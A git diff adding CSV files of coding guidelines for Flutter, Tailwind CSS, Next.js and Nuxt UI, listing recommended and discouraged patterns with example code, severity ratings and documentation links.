itemExtent,Medium, +17,Lists,Use keys for stateful items,Preserve widget state,Key for stateful list items,No key for dynamic lists,ListTile(key: ValueKey(item.id)),ListTile without key,High, +18,Lists,Use SliverList for custom scroll,Custom scroll effects,CustomScrollView with Slivers,Nested ListViews,CustomScrollView(slivers: [SliverList()]),ListView inside ListView,Medium,https://api.flutter.dev/flutter/widgets/SliverList-class.html +19,Navigation,Use Navigator 2.0 or GoRouter,Declarative routing,go_router for navigation,Navigator.push for complex apps,GoRouter(routes: [...]),Navigator.push everywhere,Medium,https://pub.dev/packages/go_router +20,Navigation,Use named routes,Organized navigation,Named routes for clarity,Anonymous routes,Navigator.pushNamed(context '/home'),Navigator.push(context MaterialPageRoute()),Low, +21,Navigation,Handle back button (PopScope),Android back behavior and predictive back (Android 14+),Use PopScope widget (WillPopScope is deprecated),Use WillPopScope,"PopScope(canPop: false, onPopInvoked: (didPop) => ...)",WillPopScope(onWillPop: ...),High,https://api.flutter.dev/flutter/widgets/PopScope-class.html +22,Navigation,Pass typed arguments,Type-safe route arguments,Typed route arguments,Dynamic arguments,MyRoute(id: '123'),arguments: {'id': '123'},Medium, +23,Async,Use FutureBuilder,Async UI building,FutureBuilder for async data,setState for async,FutureBuilder(future: fetchData()),fetchData().then((d) => setState()),Medium,https://api.flutter.dev/flutter/widgets/FutureBuilder-class.html +24,Async,Use StreamBuilder,Stream UI building,StreamBuilder for streams,Manual stream subscription,StreamBuilder(stream: myStream),stream.listen in initState,Medium,https://api.flutter.dev/flutter/widgets/StreamBuilder-class.html +25,Async,Handle loading and error states,Complete async UI states,ConnectionState checks,Only success state,if (snapshot.connectionState == ConnectionState.waiting),No loading indicator,High, +26,Async,Cancel subscriptions,Clean up stream subscriptions,Cancel in dispose,Memory leaks,subscription.cancel() in dispose,No subscription cleanup,High, +27,Theming,Use ThemeData,Consistent theming,ThemeData for app theme,Hardcoded colors,Theme.of(context).primaryColor,Color(0xFF123456) everywhere,Medium,https://api.flutter.dev/flutter/material/ThemeData-class.html +28,Theming,Use ColorScheme,Material 3 color system,ColorScheme for colors,Individual color properties,colorScheme: ColorScheme.fromSeed(),primaryColor: Colors.blue,Medium, +29,Theming,Access theme via context,Dynamic theme access,Theme.of(context),Static theme reference,Theme.of(context).textTheme.bodyLarge,TextStyle(fontSize: 16),Medium, +30,Theming,Support dark mode,Respect system theme,darkTheme in MaterialApp,Light theme only,"MaterialApp(theme: light, darkTheme: dark)",MaterialApp(theme: light),Medium, +31,Animation,Use implicit animations,Simple animations,AnimatedContainer AnimatedOpacity,Explicit for simple transitions,AnimatedContainer(duration: Duration()),AnimationController for fade,Low,https://api.flutter.dev/flutter/widgets/AnimatedContainer-class.html +32,Animation,Use AnimationController for complex,Fine-grained control,AnimationController with Ticker,Implicit for complex sequences,AnimationController(vsync: this),AnimatedContainer for staggered,Medium, +33,Animation,Dispose AnimationControllers,Clean up animation resources,dispose() for controllers,Memory leaks,controller.dispose() in dispose,No controller disposal,High, +34,Animation,Use Hero for transitions,Shared element transitions,Hero for navigation animations,Manual shared element,Hero(tag: 'image' child: Image()),Custom shared element animation,Low,https://api.flutter.dev/flutter/widgets/Hero-class.html +35,Forms,Use Form widget,Form validation,Form with GlobalKey,Individual validation,Form(key: _formKey child: ...),TextField without Form,Medium,https://api.flutter.dev/flutter/widgets/Form-class.html +36,Forms,Use TextEditingController,Control text input,Controller for text fields,onChanged for all text,final controller = TextEditingController(),onChanged: (v) => setState(),Medium, +37,Forms,Validate on submit,Form validation flow,_formKey.currentState!.validate(),Skip validation,if (_formKey.currentState!.validate()),Submit without validation,High, +38,Forms,Dispose controllers,Clean up text controllers,dispose() for controllers,Memory leaks,controller.dispose() in dispose,No controller disposal,High, +39,Performance,Use const widgets,Reduce rebuilds,const for static widgets,No const for literals,const Icon(Icons.add),Icon(Icons.add),High, +40,Performance,Avoid rebuilding entire tree,Minimal rebuild scope,Isolate changing widgets,setState on parent,Consumer only around changing widget,setState on root widget,High, +41,Performance,Use RepaintBoundary,Isolate repaints,RepaintBoundary for animations,Full screen repaints,RepaintBoundary(child: AnimatedWidget()),Animation without boundary,Medium,https://api.flutter.dev/flutter/widgets/RepaintBoundary-class.html +42,Performance,Profile with DevTools,Measure before optimizing,Flutter DevTools profiling,Guess at performance,DevTools performance tab,Optimize without measuring,Medium,https://docs.flutter.dev/tools/devtools +43,Accessibility,Use Semantics widget,Screen reader support,Semantics for accessibility,Missing accessibility info,Semantics(label: 'Submit button'),GestureDetector without semantics,High,https://api.flutter.dev/flutter/widgets/Semantics-class.html +44,Accessibility,Support large fonts,MediaQuery text scaling,MediaQuery.textScaleFactor,Fixed font sizes,style: Theme.of(context).textTheme,TextStyle(fontSize: 14),High, +45,Accessibility,Test with screen readers,TalkBack and VoiceOver,Test accessibility regularly,Skip accessibility testing,Regular TalkBack testing,No screen reader testing,High, +46,Testing,Use widget tests,Test widget behavior,WidgetTester for UI tests,Unit tests only,testWidgets('...' (tester) async {}),Only test() for UI,Medium,https://docs.flutter.dev/testing +47,Testing,Use integration tests,Full app testing,integration_test package,Manual testing only,IntegrationTestWidgetsFlutterBinding,Manual E2E testing,Medium, +48,Testing,Mock dependencies,Isolate tests,Mockito or mocktail,Real dependencies in tests,when(mock.method()).thenReturn(),Real API calls in tests,Medium, +49,Platform,Use Platform checks,Platform-specific code,Platform.isIOS Platform.isAndroid,Same code for all platforms,if (Platform.isIOS) {},Hardcoded iOS behavior,Medium, +50,Platform,Use kIsWeb for web,Web platform detection,kIsWeb for web checks,Platform for web,if (kIsWeb) {},Platform.isWeb (doesn't exist),Medium, +51,Packages,Use pub.dev packages,Community packages,Popular maintained packages,Custom implementations,cached_network_image,Custom image cache,Medium,https://pub.dev/ +52,Packages,Check package quality,Quality before adding,Pub points and popularity,Any package without review,100+ pub points,Unmaintained packages,Medium, diff --git a/skills/ui-ux-pro-max/data/stacks/html-tailwind.csv b/skills/ui-ux-pro-max/data/stacks/html-tailwind.csv new file mode 100644 index 00000000..51ff57a6 --- /dev/null +++ b/skills/ui-ux-pro-max/data/stacks/html-tailwind.csv @@ -0,0 +1,56 @@ +No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL +1,Animation,Use Tailwind animate utilities,Built-in animations are optimized and respect reduced-motion,Use animate-pulse animate-spin animate-ping,Custom @keyframes for simple effects,animate-pulse,@keyframes pulse {...},Medium,https://tailwindcss.com/docs/animation +2,Animation,Limit bounce animations,Continuous bounce is distracting and causes motion sickness,Use animate-bounce sparingly on CTAs only,Multiple bounce animations on page,Single CTA with animate-bounce,5+ elements with animate-bounce,High, +3,Animation,Transition duration,Use appropriate transition speeds for UI feedback,duration-150 to duration-300 for UI,duration-1000 or longer for UI elements,transition-all duration-200,transition-all duration-1000,Medium,https://tailwindcss.com/docs/transition-duration +4,Animation,Hover transitions,Add smooth transitions on hover state changes,Add transition class with hover states,Instant hover changes without transition,hover:bg-gray-100 transition-colors,hover:bg-gray-100 (no transition),Low, +5,Z-Index,Use Tailwind z-* scale,Consistent stacking context with predefined scale,z-0 z-10 z-20 z-30 z-40 z-50,Arbitrary z-index values,z-50 for modals,z-[9999],Medium,https://tailwindcss.com/docs/z-index +6,Z-Index,Fixed elements z-index,Fixed navigation and modals need explicit z-index,z-50 for nav z-40 for dropdowns,Relying on DOM order for stacking,fixed top-0 z-50,fixed top-0 (no z-index),High, +7,Z-Index,Negative z-index for backgrounds,Use negative z-index for decorative backgrounds,z-[-1] for background elements,Positive z-index for backgrounds,-z-10 for decorative,z-10 for background,Low, +8,Layout,Container max-width,Limit content width for readability,max-w-7xl mx-auto for main content,Full-width content on large screens,max-w-7xl mx-auto px-4,w-full (no max-width),Medium,https://tailwindcss.com/docs/container +9,Layout,Responsive padding,Adjust padding for different screen sizes,px-4 md:px-6 lg:px-8,Same padding all sizes,px-4 sm:px-6 lg:px-8,px-8 (same all sizes),Medium, +10,Layout,Grid gaps,Use consistent gap utilities for spacing,gap-4 gap-6 gap-8,Margins on individual items,grid gap-6,grid with mb-4 on each item,Medium,https://tailwindcss.com/docs/gap +11,Layout,Flexbox alignment,Use flex utilities for alignment,items-center justify-between,Multiple nested wrappers,flex items-center justify-between,Nested divs for alignment,Low, +12,Images,Aspect ratio,Maintain consistent image aspect ratios,aspect-video aspect-square,No aspect ratio on containers,aspect-video rounded-lg,No aspect control,Medium,https://tailwindcss.com/docs/aspect-ratio +13,Images,Object fit,Control image scaling within containers,object-cover object-contain,Stretched distorted images,object-cover w-full h-full,No object-fit,Medium,https://tailwindcss.com/docs/object-fit +14,Images,Lazy loading,Defer loading of off-screen images,loading='lazy' on images,All images eager load,<img loading='lazy'>,<img> without lazy,High, +15,Images,Responsive images,Serve appropriate image sizes,srcset and sizes attributes,Same large image all devices,srcset with multiple sizes,4000px image everywhere,High, +16,Typography,Prose plugin,Use @tailwindcss/typography for rich text,prose prose-lg for article content,Custom styles for markdown,prose prose-lg max-w-none,Custom text styling,Medium,https://tailwindcss.com/docs/typography-plugin +17,Typography,Line height,Use appropriate line height for readability,leading-relaxed for body text,Default tight line height,leading-relaxed (1.625),leading-none or leading-tight,Medium,https://tailwindcss.com/docs/line-height +18,Typography,Font size scale,Use consistent text size scale,text-sm text-base text-lg text-xl,Arbitrary font sizes,text-lg,text-[17px],Low,https://tailwindcss.com/docs/font-size +19,Typography,Text truncation,Handle long text gracefully,truncate or line-clamp-*,Overflow breaking layout,line-clamp-2,No overflow handling,Medium,https://tailwindcss.com/docs/text-overflow +20,Colors,Opacity utilities,Use color opacity utilities,bg-black/50 text-white/80,Separate opacity class,bg-black/50,bg-black opacity-50,Low,https://tailwindcss.com/docs/background-color +21,Colors,Dark mode,Support dark mode with dark: prefix,dark:bg-gray-900 dark:text-white,No dark mode support,dark:bg-gray-900,Only light theme,Medium,https://tailwindcss.com/docs/dark-mode +22,Colors,Semantic colors,Use semantic color naming in config,primary secondary danger success,Generic color names in components,bg-primary,bg-blue-500 everywhere,Medium, +23,Spacing,Consistent spacing scale,Use Tailwind spacing scale consistently,p-4 m-6 gap-8,Arbitrary pixel values,p-4 (1rem),p-[15px],Low,https://tailwindcss.com/docs/customizing-spacing +24,Spacing,Negative margins,Use sparingly for overlapping effects,-mt-4 for overlapping elements,Negative margins for layout fixing,-mt-8 for card overlap,-m-2 to fix spacing issues,Medium, +25,Spacing,Space between,Use space-y-* for vertical lists,space-y-4 on flex/grid column,Margin on each child,space-y-4,Each child has mb-4,Low,https://tailwindcss.com/docs/space +26,Forms,Focus states,Always show focus indicators,focus:ring-2 focus:ring-blue-500,Remove focus outline,focus:ring-2 focus:ring-offset-2,focus:outline-none (no replacement),High, +27,Forms,Input sizing,Consistent input dimensions,h-10 px-3 for inputs,Inconsistent input heights,h-10 w-full px-3,Various heights per input,Medium, +28,Forms,Disabled states,Clear disabled styling,disabled:opacity-50 disabled:cursor-not-allowed,No disabled indication,disabled:opacity-50,Same style as enabled,Medium, +29,Forms,Placeholder styling,Style placeholder text appropriately,placeholder:text-gray-400,Dark placeholder text,placeholder:text-gray-400,Default dark placeholder,Low, +30,Responsive,Mobile-first approach,Start with mobile styles and add breakpoints,Default mobile + md: lg: xl:,Desktop-first approach,text-sm md:text-base,text-base max-md:text-sm,Medium,https://tailwindcss.com/docs/responsive-design +31,Responsive,Breakpoint testing,Test at standard breakpoints,320 375 768 1024 1280 1536,Only test on development device,Test all breakpoints,Single device testing,High, +32,Responsive,Hidden/shown utilities,Control visibility per breakpoint,hidden md:block,Different content per breakpoint,hidden md:flex,Separate mobile/desktop components,Low,https://tailwindcss.com/docs/display +33,Buttons,Button sizing,Consistent button dimensions,px-4 py-2 or px-6 py-3,Inconsistent button sizes,px-4 py-2 text-sm,Various padding per button,Medium, +34,Buttons,Touch targets,Minimum 44px touch target on mobile,min-h-[44px] on mobile,Small buttons on mobile,min-h-[44px] min-w-[44px],h-8 w-8 on mobile,High, +35,Buttons,Loading states,Show loading feedback,disabled + spinner icon,Clickable during loading,<Button disabled><Spinner/></Button>,Button without loading state,High, +36,Buttons,Icon buttons,Accessible icon-only buttons,aria-label on icon buttons,Icon button without label,<button aria-label='Close'><XIcon/></button>,<button><XIcon/></button>,High, +37,Cards,Card structure,Consistent card styling,rounded-lg shadow-md p-6,Inconsistent card styles,rounded-2xl shadow-lg p-6,Mixed card styling,Low, +38,Cards,Card hover states,Interactive cards should have hover feedback,hover:shadow-lg transition-shadow,No hover on clickable cards,hover:shadow-xl transition-shadow,Static cards that are clickable,Medium, +39,Cards,Card spacing,Consistent internal card spacing,space-y-4 for card content,Inconsistent internal spacing,space-y-4 or p-6,Mixed mb-2 mb-4 mb-6,Low, +40,Accessibility,Screen reader text,Provide context for screen readers,sr-only for hidden labels,Missing context for icons,<span class='sr-only'>Close menu</span>,No label for icon button,High,https://tailwindcss.com/docs/screen-readers +41,Accessibility,Focus visible,Show focus only for keyboard users,focus-visible:ring-2,Focus on all interactions,focus-visible:ring-2,focus:ring-2 (shows on click too),Medium, +42,Accessibility,Reduced motion,Respect user motion preferences,motion-reduce:animate-none,Ignore motion preferences,motion-reduce:transition-none,No reduced motion support,High,https://tailwindcss.com/docs/hover-focus-and-other-states#prefers-reduced-motion +43,Performance,Configure content paths,Tailwind needs to know where classes are used,Use 'content' array in config,Use deprecated 'purge' option (v2),"content: ['./src/**/*.{js,ts,jsx,tsx}']",purge: [...],High,https://tailwindcss.com/docs/content-configuration +44,Performance,JIT mode,Use JIT for faster builds and smaller bundles,JIT enabled (default in v3),Full CSS in development,Tailwind v3 defaults,Tailwind v2 without JIT,Medium, +45,Performance,Avoid @apply bloat,Use @apply sparingly,Direct utilities in HTML,Heavy @apply usage,class='px-4 py-2 rounded',@apply px-4 py-2 rounded;,Low,https://tailwindcss.com/docs/reusing-styles +46,Plugins,Official plugins,Use official Tailwind plugins,@tailwindcss/forms typography aspect-ratio,Custom implementations,@tailwindcss/forms,Custom form reset CSS,Medium,https://tailwindcss.com/docs/plugins +47,Plugins,Custom utilities,Create utilities for repeated patterns,Custom utility in config,Repeated arbitrary values,Custom shadow utility,"shadow-[0_4px_20px_rgba(0,0,0,0.1)] everywhere",Medium, +48,Layout,Container Queries,Use @container for component-based responsiveness,Use @container and @lg: etc.,Media queries for component internals,@container @lg:grid-cols-2,@media (min-width: ...) inside component,Medium,https://github.com/tailwindlabs/tailwindcss-container-queries +49,Interactivity,Group and Peer,Style based on parent/sibling state,group-hover peer-checked,JS for simple state interactions,group-hover:text-blue-500,onMouseEnter={() => setHover(true)},Low,https://tailwindcss.com/docs/hover-focus-and-other-states#styling-based-on-parent-state +50,Customization,Arbitrary Values,Use [] for one-off values,w-[350px] for specific needs,Creating config for single use,top-[117px] (if strictly needed),style={{ top: '117px' }},Low,https://tailwindcss.com/docs/adding-custom-styles#using-arbitrary-values +51,Colors,Theme color variables,Define colors in Tailwind theme and use directly,bg-primary text-success border-cta,bg-[var(--color-primary)] text-[var(--color-success)],bg-primary,bg-[var(--color-primary)],Medium,https://tailwindcss.com/docs/customizing-colors +52,Colors,Use bg-linear-to-* for gradients,Tailwind v4 uses bg-linear-to-* syntax for gradients,bg-linear-to-r bg-linear-to-b,bg-gradient-to-* (deprecated in v4),bg-linear-to-r from-blue-500 to-purple-500,bg-gradient-to-r from-blue-500 to-purple-500,Medium,https://tailwindcss.com/docs/background-image +53,Layout,Use shrink-0 shorthand,Shorter class name for flex-shrink-0,shrink-0 shrink,flex-shrink-0 flex-shrink,shrink-0,flex-shrink-0,Low,https://tailwindcss.com/docs/flex-shrink +54,Layout,Use size-* for square dimensions,Single utility for equal width and height,size-4 size-8 size-12,Separate h-* w-* for squares,size-6,h-6 w-6,Low,https://tailwindcss.com/docs/size +55,Images,SVG explicit dimensions,Add width/height attributes to SVGs to prevent layout shift before CSS loads,<svg class='size-6' width='24' height='24'>,SVG without explicit dimensions,<svg class='size-6' width='24' height='24'>,<svg class='size-6'>,High, diff --git a/skills/ui-ux-pro-max/data/stacks/nextjs.csv b/skills/ui-ux-pro-max/data/stacks/nextjs.csv new file mode 100644 index 00000000..8762161a --- /dev/null +++ b/skills/ui-ux-pro-max/data/stacks/nextjs.csv @@ -0,0 +1,53 @@ +No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL +1,Routing,Use App Router for new projects,App Router is the recommended approach in Next.js 14+,app/ directory with page.tsx,pages/ for new projects,app/dashboard/page.tsx,pages/dashboard.tsx,Medium,https://nextjs.org/docs/app +2,Routing,Use file-based routing,Create routes by adding files in app directory,page.tsx for routes layout.tsx for layouts,Manual route configuration,app/blog/[slug]/page.tsx,Custom router setup,Medium,https://nextjs.org/docs/app/building-your-application/routing +3,Routing,Colocate related files,Keep components styles tests with their routes,Component files alongside page.tsx,Separate components folder,app/dashboard/_components/,components/dashboard/,Low, +4,Routing,Use route groups for organization,Group routes without affecting URL,Parentheses for route groups,Nested folders affecting URL,(marketing)/about/page.tsx,marketing/about/page.tsx,Low,https://nextjs.org/docs/app/building-your-application/routing/route-groups +5,Routing,Handle loading states,Use loading.tsx for route loading UI,loading.tsx alongside page.tsx,Manual loading state management,app/dashboard/loading.tsx,useState for loading in page,Medium,https://nextjs.org/docs/app/building-your-application/routing/loading-ui-and-streaming +6,Routing,Handle errors with error.tsx,Catch errors at route level,error.tsx with reset function,try/catch in every component,app/dashboard/error.tsx,try/catch in page component,High,https://nextjs.org/docs/app/building-your-application/routing/error-handling +7,Rendering,Use Server Components by default,Server Components reduce client JS bundle,Keep components server by default,Add 'use client' unnecessarily,export default function Page(),('use client') for static content,High,https://nextjs.org/docs/app/building-your-application/rendering/server-components +8,Rendering,Mark Client Components explicitly,'use client' for interactive components,Add 'use client' only when needed,Server Component with hooks/events,('use client') for onClick useState,No directive with useState,High,https://nextjs.org/docs/app/building-your-application/rendering/client-components +9,Rendering,Push Client Components down,Keep Client Components as leaf nodes,Client wrapper for interactive parts only,Mark page as Client Component,<InteractiveButton/> in Server Page,('use client') on page.tsx,High, +10,Rendering,Use streaming for better UX,Stream content with Suspense boundaries,Suspense for slow data fetches,Wait for all data before render,<Suspense><SlowComponent/></Suspense>,await allData then render,Medium,https://nextjs.org/docs/app/building-your-application/routing/loading-ui-and-streaming +11,Rendering,Choose correct rendering strategy,SSG for static SSR for dynamic ISR for semi-static,generateStaticParams for known paths,SSR for static content,export const revalidate = 3600,fetch without cache config,Medium, +12,DataFetching,Fetch data in Server Components,Fetch directly in async Server Components,async function Page() { const data = await fetch() },useEffect for initial data,const data = await fetch(url),useEffect(() => fetch(url)),High,https://nextjs.org/docs/app/building-your-application/data-fetching +13,DataFetching,Configure caching explicitly (Next.js 15+),Next.js 15 changed defaults to uncached for fetch,Explicitly set cache: 'force-cache' for static data,Assume default is cached (it's not in Next.js 15),fetch(url { cache: 'force-cache' }),fetch(url) // Uncached in v15,High,https://nextjs.org/docs/app/building-your-application/upgrading/version-15 +14,DataFetching,Deduplicate fetch requests,React and Next.js dedupe same requests,Same fetch call in multiple components,Manual request deduplication,Multiple components fetch same URL,Custom cache layer,Low, +15,DataFetching,Use Server Actions for mutations,Server Actions for form submissions,action={serverAction} in forms,API route for every mutation,<form action={createPost}>,<form onSubmit={callApiRoute}>,Medium,https://nextjs.org/docs/app/building-your-application/data-fetching/server-actions-and-mutations +16,DataFetching,Revalidate data appropriately,Use revalidatePath/revalidateTag after mutations,Revalidate after Server Action,'use client' with manual refetch,revalidatePath('/posts'),router.refresh() everywhere,Medium,https://nextjs.org/docs/app/building-your-application/caching#revalidating +17,Images,Use next/image for optimization,Automatic image optimization and lazy loading,<Image> component for all images,<img> tags directly,<Image src={} alt={} width={} height={}>,<img src={}/>,High,https://nextjs.org/docs/app/building-your-application/optimizing/images +18,Images,Provide width and height,Prevent layout shift with dimensions,width and height props or fill,Missing dimensions,<Image width={400} height={300}/>,<Image src={url}/>,High, +19,Images,Use fill for responsive images,Fill container with object-fit,fill prop with relative parent,Fixed dimensions for responsive,"<Image fill className=""object-cover""/>",<Image width={window.width}/>,Medium, +20,Images,Configure remote image domains,Whitelist external image sources,remotePatterns in next.config.js,Allow all domains,remotePatterns: [{ hostname: 'cdn.example.com' }],domains: ['*'],High,https://nextjs.org/docs/app/api-reference/components/image#remotepatterns +21,Images,Use priority for LCP images,Mark above-fold images as priority,priority prop on hero images,All images with priority,<Image priority src={hero}/>,<Image priority/> on every image,Medium, +22,Fonts,Use next/font for fonts,Self-hosted fonts with zero layout shift,next/font/google or next/font/local,External font links,import { Inter } from 'next/font/google',"<link href=""fonts.googleapis.com""/>",Medium,https://nextjs.org/docs/app/building-your-application/optimizing/fonts +23,Fonts,Apply font to layout,Set font in root layout for consistency,className on body in layout.tsx,Font in individual pages,<body className={inter.className}>,Each page imports font,Low, +24,Fonts,Use variable fonts,Variable fonts reduce bundle size,Single variable font file,Multiple font weights as files,Inter({ subsets: ['latin'] }),Inter_400 Inter_500 Inter_700,Low, +25,Metadata,Use generateMetadata for dynamic,Generate metadata based on params,export async function generateMetadata(),Hardcoded metadata everywhere,generateMetadata({ params }),export const metadata = {},Medium,https://nextjs.org/docs/app/building-your-application/optimizing/metadata +26,Metadata,Include OpenGraph images,Add OG images for social sharing,opengraph-image.tsx or og property,Missing social preview images,opengraph: { images: ['/og.png'] },No OG configuration,Medium, +27,Metadata,Use metadata API,Export metadata object for static metadata,export const metadata = {},Manual head tags,export const metadata = { title: 'Page' },<head><title>Page,Medium, +28,API,Use Route Handlers for APIs,app/api routes for API endpoints,app/api/users/route.ts,pages/api for new projects,export async function GET(request),export default function handler,Medium,https://nextjs.org/docs/app/building-your-application/routing/route-handlers +29,API,Return proper Response objects,Use NextResponse for API responses,NextResponse.json() for JSON,Plain objects or res.json(),return NextResponse.json({ data }),return { data },Medium, +30,API,Handle HTTP methods explicitly,Export named functions for methods,Export GET POST PUT DELETE,Single handler for all methods,export async function POST(),switch(req.method),Low, +31,API,Validate request body,Validate input before processing,Zod or similar for validation,Trust client input,const body = schema.parse(await req.json()),const body = await req.json(),High, +32,Middleware,Use middleware for auth,Protect routes with middleware.ts,middleware.ts at root,Auth check in every page,export function middleware(request),if (!session) redirect in page,Medium,https://nextjs.org/docs/app/building-your-application/routing/middleware +33,Middleware,Match specific paths,Configure middleware matcher,config.matcher for specific routes,Run middleware on all routes,matcher: ['/dashboard/:path*'],No matcher config,Medium, +34,Middleware,Keep middleware edge-compatible,Middleware runs on Edge runtime,Edge-compatible code only,Node.js APIs in middleware,Edge-compatible auth check,fs.readFile in middleware,High, +35,Environment,Use NEXT_PUBLIC prefix,Client-accessible env vars need prefix,NEXT_PUBLIC_ for client vars,Server vars exposed to client,NEXT_PUBLIC_API_URL,API_SECRET in client code,High,https://nextjs.org/docs/app/building-your-application/configuring/environment-variables +36,Environment,Validate env vars,Check required env vars exist,Validate on startup,Undefined env at runtime,if (!process.env.DATABASE_URL) throw,process.env.DATABASE_URL (might be undefined),High, +37,Environment,Use .env.local for secrets,Local env file for development secrets,.env.local gitignored,Secrets in .env committed,.env.local with secrets,.env with DATABASE_PASSWORD,High, +38,Performance,Analyze bundle size,Use @next/bundle-analyzer,Bundle analyzer in dev,Ship large bundles blindly,ANALYZE=true npm run build,No bundle analysis,Medium,https://nextjs.org/docs/app/building-your-application/optimizing/bundle-analyzer +39,Performance,Use dynamic imports,Code split with next/dynamic,dynamic() for heavy components,Import everything statically,const Chart = dynamic(() => import('./Chart')),import Chart from './Chart',Medium,https://nextjs.org/docs/app/building-your-application/optimizing/lazy-loading +40,Performance,Avoid layout shifts,Reserve space for dynamic content,Skeleton loaders aspect ratios,Content popping in,"",No placeholder for async content,High, +41,Performance,Use Partial Prerendering,Combine static and dynamic in one route,Static shell with Suspense holes,Full dynamic or static pages,Static header + dynamic content,Entire page SSR,Low,https://nextjs.org/docs/app/building-your-application/rendering/partial-prerendering +42,Link,Use next/link for navigation,Client-side navigation with prefetching," for internal links", for internal navigation,"About","About",High,https://nextjs.org/docs/app/api-reference/components/link +43,Link,Prefetch strategically,Control prefetching behavior,prefetch={false} for low-priority,Prefetch all links,,Default prefetch on every link,Low, +44,Link,Use scroll option appropriately,Control scroll behavior on navigation,scroll={false} for tabs pagination,Always scroll to top,,Manual scroll management,Low, +45,Config,Use next.config.js correctly,Configure Next.js behavior,Proper config options,Deprecated or wrong options,images: { remotePatterns: [] },images: { domains: [] },Medium,https://nextjs.org/docs/app/api-reference/next-config-js +46,Config,Enable strict mode,Catch potential issues early,reactStrictMode: true,Strict mode disabled,reactStrictMode: true,reactStrictMode: false,Medium, +47,Config,Configure redirects and rewrites,Use config for URL management,redirects() rewrites() in config,Manual redirect handling,redirects: async () => [...],res.redirect in pages,Medium,https://nextjs.org/docs/app/api-reference/next-config-js/redirects +48,Deployment,Use Vercel for easiest deploy,Vercel optimized for Next.js,Deploy to Vercel,Self-host without knowledge,vercel deploy,Complex Docker setup for simple app,Low,https://nextjs.org/docs/app/building-your-application/deploying +49,Deployment,Configure output for self-hosting,Set output option for deployment target,output: 'standalone' for Docker,Default output for containers,output: 'standalone',No output config for Docker,Medium,https://nextjs.org/docs/app/building-your-application/deploying#self-hosting +50,Security,Sanitize user input,Never trust user input,Escape sanitize validate all input,Direct interpolation of user data,DOMPurify.sanitize(userInput),dangerouslySetInnerHTML={{ __html: userInput }},High, +51,Security,Use CSP headers,Content Security Policy for XSS protection,Configure CSP in next.config.js,No security headers,headers() with CSP,No CSP configuration,High,https://nextjs.org/docs/app/building-your-application/configuring/content-security-policy +52,Security,Validate Server Action input,Server Actions are public endpoints,Validate and authorize in Server Action,Trust Server Action input,Auth check + validation in action,Direct database call without check,High, diff --git a/skills/ui-ux-pro-max/data/stacks/nuxt-ui.csv b/skills/ui-ux-pro-max/data/stacks/nuxt-ui.csv new file mode 100644 index 00000000..7146e848 --- /dev/null +++ b/skills/ui-ux-pro-max/data/stacks/nuxt-ui.csv @@ -0,0 +1,51 @@ +No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL +1,Installation,Add Nuxt UI module,Install and configure Nuxt UI in your Nuxt project,pnpm add @nuxt/ui and add to modules,Manual component imports,"modules: ['@nuxt/ui']","import { UButton } from '@nuxt/ui'",High,https://ui.nuxt.com/docs/getting-started/installation/nuxt +2,Installation,Import Tailwind and Nuxt UI CSS,Required CSS imports in main.css file,@import tailwindcss and @import @nuxt/ui,Skip CSS imports,"@import ""tailwindcss""; @import ""@nuxt/ui"";",No CSS imports,High,https://ui.nuxt.com/docs/getting-started/installation/nuxt +3,Installation,Wrap app with UApp component,UApp provides global configs for Toast Tooltip and overlays, wrapper in app.vue,Skip UApp wrapper,, without wrapper,High,https://ui.nuxt.com/docs/components/app +4,Components,Use U prefix for components,All Nuxt UI components use U prefix by default,UButton UInput UModal,Button Input Modal,Click,,Medium,https://ui.nuxt.com/docs/getting-started/installation/nuxt +5,Components,Use semantic color props,Use semantic colors like primary secondary error,color="primary" color="error",Hardcoded colors,"","",Medium,https://ui.nuxt.com/docs/getting-started/theme/design-system +6,Components,Use variant prop for styling,Nuxt UI provides solid outline soft subtle ghost link variants,variant="soft" variant="outline",Custom button classes,"","",Medium,https://ui.nuxt.com/docs/components/button +7,Components,Use size prop consistently,Components support xs sm md lg xl sizes,size="sm" size="lg",Arbitrary sizing classes,"","",Low,https://ui.nuxt.com/docs/components/button +8,Icons,Use icon prop with Iconify format,Nuxt UI supports Iconify icons via icon prop,icon="lucide:home" icon="heroicons:user",i-lucide-home format,"","",Medium,https://ui.nuxt.com/docs/getting-started/integrations/icons/nuxt +9,Icons,Use leadingIcon and trailingIcon,Position icons with dedicated props for clarity,leadingIcon="lucide:plus" trailingIcon="lucide:arrow-right",Manual icon positioning,"","Add",Low,https://ui.nuxt.com/docs/components/button +10,Theming,Configure colors in app.config.ts,Runtime color configuration without restart,ui.colors.primary in app.config.ts,Hardcoded colors in components,"defineAppConfig({ ui: { colors: { primary: 'blue' } } })","",High,https://ui.nuxt.com/docs/getting-started/theme/design-system +11,Theming,Use @theme directive for custom colors,Define design tokens in CSS with Tailwind @theme,@theme { --color-brand-500: #xxx },Inline color definitions,@theme { --color-brand-500: #ef4444; },:style="{ color: '#ef4444' }",Medium,https://ui.nuxt.com/docs/getting-started/theme/design-system +12,Theming,Extend semantic colors in nuxt.config,Register new colors like tertiary in theme.colors,theme.colors array in ui config,Use undefined colors,"ui: { theme: { colors: ['primary', 'tertiary'] } }"," without config",Medium,https://ui.nuxt.com/docs/getting-started/theme/design-system +13,Forms,Use UForm with schema validation,UForm supports Zod Yup Joi Valibot schemas,:schema prop with validation schema,Manual form validation,"",Manual @blur validation,High,https://ui.nuxt.com/docs/components/form +14,Forms,Use UFormField for field wrapper,Provides label error message and validation display,UFormField with name prop,Manual error handling,"",
error
,Medium,https://ui.nuxt.com/docs/components/form-field +15,Forms,Handle form submit with @submit,UForm emits submit event with validated data,@submit handler on UForm,@click on submit button,"","",Medium,https://ui.nuxt.com/docs/components/form +16,Forms,Use validateOn prop for validation timing,Control when validation triggers (blur change input),validateOn="['blur']" for performance,Always validate on input,""," (validates on every keystroke)",Low,https://ui.nuxt.com/docs/components/form +17,Overlays,Use v-model:open for overlay control,Modal Slideover Drawer use v-model:open,v-model:open for controlled state,Manual show/hide logic,"",,Medium,https://ui.nuxt.com/docs/components/modal +18,Overlays,Use useOverlay composable for programmatic overlays,Open overlays programmatically without template refs,useOverlay().open(MyModal),Template ref and manual control,"const overlay = useOverlay(); overlay.open(MyModal, { props })","const modal = ref(); modal.value.open()",Medium,https://ui.nuxt.com/docs/components/modal +19,Overlays,Use title and description props,Built-in header support for overlays,title="Confirm" description="Are you sure?",Manual header content,"","",Low,https://ui.nuxt.com/docs/components/modal +20,Dashboard,Use UDashboardSidebar for 